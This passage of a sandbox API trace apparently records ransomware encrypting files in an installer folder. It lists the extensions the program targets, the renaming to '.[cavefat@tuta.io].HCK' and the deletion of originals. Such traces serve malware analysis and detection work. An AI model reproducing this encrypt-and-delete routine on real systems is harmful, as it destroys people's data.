lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString=".xls") returned 4 [0148.349] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.349] lstrlenW (lpString=".xlsx") returned 5 [0148.349] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.349] lstrlenW (lpString=".ppt") returned 4 [0148.349] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString=".zip") returned 4 [0148.349] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.349] lstrlenW (lpString=".rar") returned 4 [0148.349] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString=".bz2") returned 4 [0148.349] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString=".7z") returned 3 [0148.349] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString=".dbf") returned 4 [0148.349] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString=".1cd") returned 4 [0148.349] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.349] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\eula.rtf") returned 35 [0148.349] lstrlenW (lpString=".jpg") returned 4 [0148.349] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.349] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.350] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.350] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=82962) returned 1 [0148.350] CloseHandle (hObject=0x2ec) returned 1 [0148.350] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 0x80 [0148.350] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.350] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.350] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.350] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0148.350] GetLastError () returned 0x0 [0148.350] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x14412, lpOverlapped=0x0) returned 1 [0148.353] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x14420, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x14420, lpOverlapped=0x0) returned 1 [0148.354] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.354] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.355] SetEndOfFile (hFile=0x310) returned 1 [0148.355] CloseHandle (hObject=0x310) returned 1 [0148.357] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.357] SetEndOfFile (hFile=0x2ec) returned 1 [0148.358] CloseHandle (hObject=0x2ec) returned 1 [0148.358] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.358] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1036\\localizeddata.xml")) returned 1 [0148.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.358] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.358] lstrlenW (lpString=".doc") returned 4 [0148.358] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.358] lstrlenW (lpString=".docx") returned 5 [0148.358] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.358] lstrlenW (lpString=".pdf") returned 4 [0148.358] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.358] lstrlenW (lpString=".xls") returned 4 [0148.358] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.358] lstrlenW (lpString=".xlsx") returned 5 [0148.358] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.358] lstrlenW (lpString=".ppt") returned 4 [0148.359] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.359] lstrlenW (lpString=".zip") returned 4 [0148.359] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.359] lstrlenW (lpString=".rar") returned 4 [0148.359] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString=".bz2") returned 4 [0148.359] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString=".7z") returned 3 [0148.359] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.359] lstrlenW (lpString=".dbf") returned 4 [0148.359] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.359] lstrlenW (lpString=".1cd") returned 4 [0148.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.359] lstrlenW (lpString=".jpg") returned 4 [0148.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.359] lstrlenW (lpString=".doc") returned 4 [0148.359] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString=".docx") returned 5 [0148.359] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.359] lstrlenW (lpString=".pdf") returned 4 [0148.359] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString=".xls") returned 4 [0148.359] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString=".xlsx") returned 5 [0148.359] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.359] lstrlenW (lpString=".ppt") returned 4 [0148.359] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.359] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.359] lstrlenW (lpString=".zip") returned 4 [0148.359] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.359] lstrlenW (lpString=".rar") returned 4 [0148.360] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.360] lstrlenW (lpString=".bz2") returned 4 [0148.360] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.360] lstrlenW (lpString=".7z") returned 3 [0148.360] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.360] lstrlenW (lpString=".dbf") returned 4 [0148.360] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.360] lstrlenW (lpString=".1cd") returned 4 [0148.360] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.360] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\LocalizedData.xml") returned 44 [0148.360] lstrlenW (lpString=".jpg") returned 4 [0148.360] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.360] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.360] lstrlenW (lpString="eula.rtf") returned 8 [0148.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.360] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=6851) returned 1 [0148.360] CloseHandle (hObject=0x2ec) returned 1 [0148.360] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0148.360] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.360] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.360] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.360] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.361] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0148.362] GetLastError () returned 0x0 [0148.362] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0148.363] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0148.364] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.364] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.364] SetEndOfFile (hFile=0x310) returned 1 [0148.364] CloseHandle (hObject=0x310) returned 1 [0148.365] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.365] SetEndOfFile (hFile=0x2ec) returned 1 [0148.365] CloseHandle (hObject=0x2ec) returned 1 [0148.366] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.366] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0148.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.366] lstrlenW (lpString=".doc") returned 4 [0148.366] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.366] lstrlenW (lpString=".docx") returned 5 [0148.366] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.366] lstrlenW (lpString=".pdf") returned 4 [0148.366] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.366] lstrlenW (lpString=".xls") returned 4 [0148.366] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.366] lstrlenW (lpString=".xlsx") returned 5 [0148.366] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.366] lstrlenW (lpString=".ppt") returned 4 [0148.366] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.366] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.366] lstrlenW (lpString=".zip") returned 4 [0148.366] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.366] lstrlenW (lpString=".rar") returned 4 [0148.366] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.366] lstrlenW (lpString=".bz2") returned 4 [0148.366] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.366] lstrlenW (lpString=".7z") returned 3 [0148.367] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.367] lstrlenW (lpString=".dbf") returned 4 [0148.367] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.367] lstrlenW (lpString=".1cd") returned 4 [0148.367] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.367] lstrlenW (lpString=".jpg") returned 4 [0148.367] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.367] lstrlenW (lpString=".doc") returned 4 [0148.367] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString=".docx") returned 5 [0148.367] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.367] lstrlenW (lpString=".pdf") returned 4 [0148.367] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString=".xls") returned 4 [0148.367] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.367] lstrlenW (lpString=".xlsx") returned 5 [0148.367] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.367] lstrlenW (lpString=".ppt") returned 4 [0148.367] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.367] lstrlenW (lpString=".zip") returned 4 [0148.367] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.367] lstrlenW (lpString=".rar") returned 4 [0148.367] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString=".bz2") returned 4 [0148.367] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString=".7z") returned 3 [0148.367] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.367] lstrlenW (lpString=".dbf") returned 4 [0148.367] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.367] lstrlenW (lpString=".1cd") returned 4 [0148.367] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.367] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0148.367] lstrlenW (lpString=".jpg") returned 4 [0148.367] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.367] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.367] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.368] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=72076) returned 1 [0148.368] CloseHandle (hObject=0x2ec) returned 1 [0148.368] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 0x80 [0148.368] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.368] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.368] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.368] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.368] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0148.369] GetLastError () returned 0x0 [0148.369] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x1198c, lpOverlapped=0x0) returned 1 [0148.371] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x11990, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x11990, lpOverlapped=0x0) returned 1 [0148.372] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.372] WriteFile (in: hFile=0x310, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.373] SetEndOfFile (hFile=0x310) returned 1 [0148.373] CloseHandle (hObject=0x310) returned 1 [0148.649] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.649] SetEndOfFile (hFile=0x2ec) returned 1 [0148.650] CloseHandle (hObject=0x2ec) returned 1 [0148.650] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.650] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1037\\localizeddata.xml")) returned 1 [0148.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.651] lstrlenW (lpString=".doc") returned 4 [0148.651] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.651] lstrlenW (lpString=".docx") returned 5 [0148.651] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.651] lstrlenW (lpString=".pdf") returned 4 [0148.651] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.651] lstrlenW (lpString=".xls") returned 4 [0148.651] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.651] lstrlenW (lpString=".xlsx") returned 5 [0148.651] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.651] lstrlenW (lpString=".ppt") returned 4 [0148.651] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.651] lstrlenW (lpString=".zip") returned 4 [0148.651] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.651] lstrlenW (lpString=".rar") returned 4 [0148.651] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.651] lstrlenW (lpString=".bz2") returned 4 [0148.651] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.651] lstrlenW (lpString=".7z") returned 3 [0148.651] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.651] lstrlenW (lpString=".dbf") returned 4 [0148.651] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.651] lstrlenW (lpString=".1cd") returned 4 [0148.651] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.651] lstrlenW (lpString=".jpg") returned 4 [0148.651] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.651] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.652] lstrlenW (lpString=".doc") returned 4 [0148.652] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.652] lstrlenW (lpString=".docx") returned 5 [0148.652] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.652] lstrlenW (lpString=".pdf") returned 4 [0148.652] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.652] lstrlenW (lpString=".xls") returned 4 [0148.652] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.652] lstrlenW (lpString=".xlsx") returned 5 [0148.652] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.652] lstrlenW (lpString=".ppt") returned 4 [0148.652] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.652] lstrlenW (lpString=".zip") returned 4 [0148.652] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.652] lstrlenW (lpString=".rar") returned 4 [0148.652] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.652] lstrlenW (lpString=".bz2") returned 4 [0148.652] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.652] lstrlenW (lpString=".7z") returned 3 [0148.652] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.652] lstrlenW (lpString=".dbf") returned 4 [0148.652] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.652] lstrlenW (lpString=".1cd") returned 4 [0148.652] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.652] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 44 [0148.652] lstrlenW (lpString=".jpg") returned 4 [0148.652] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.652] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.652] lstrlenW (lpString="eula.rtf") returned 8 [0148.652] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.652] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=12687) returned 1 [0148.652] CloseHandle (hObject=0x2ec) returned 1 [0148.653] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf")) returned 0x80 [0148.653] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.653] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, 